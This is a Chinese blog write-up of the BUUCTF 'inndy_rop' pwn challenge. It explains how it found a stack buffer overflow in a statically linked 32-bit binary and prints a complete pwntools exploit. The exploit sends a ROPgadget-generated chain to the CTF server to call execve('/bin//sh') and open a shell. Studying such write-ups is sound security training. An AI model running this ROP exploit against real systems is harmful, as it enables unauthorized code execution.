[BUUCTF]PWN——inndy_rop

最新推荐文章于 2024-09-01 20:54:51 发布

Angel~Yan

最新推荐文章于 2024-09-01 20:54:51 发布

阅读量1.3k

点赞数 2

分类专栏： BUUCTF刷题记录 PWN

本文链接：https://blog.csdn.net/mcmuyanga/article/details/110091976

版权

BUUCTF刷题记录同时被 2 个专栏收录

196 篇文章 34 订阅

订阅专栏

PWN

125 篇文章 18 订阅

订阅专栏

inndy_rop

附件

步骤：

例行检查，32位，开启了nx保护
本地调试运行没看出个啥，直接上ida，一开始f5会报错，
找到报错提示的位置，点击option–>general调出如图的界面，勾选上stack pointar
看到堆栈不平衡，选中报错地址的上一行，右击，点击“change stack"跳出如图界面，在sp值前加个”–“即可
然后就能f5反编译了，main里就一个overflow函数，存在溢出漏洞
右边的函数列表里只有静态编译的结果，所以这题没法去泄露libc什么的
这边直接利用了工具ROPgadget，它有一个功能，可以直接利用程序中的片段拼凑rop链。

ROPgadget --binary rop --ropchain

在这里插入图片描述
可以看到直接给我们找到了一个应该是写好了的利用exp，只要我们手动加个偏移造成溢出即可

from pwn import*
from struct import pack

r=remote('node3.buuoj.cn',26917)

def payload():
        p='a'*(0xc+4)
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de769) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0806c943) # int 0x80
        return p

shell = payload()
r.sendline(shell)
r.interactive()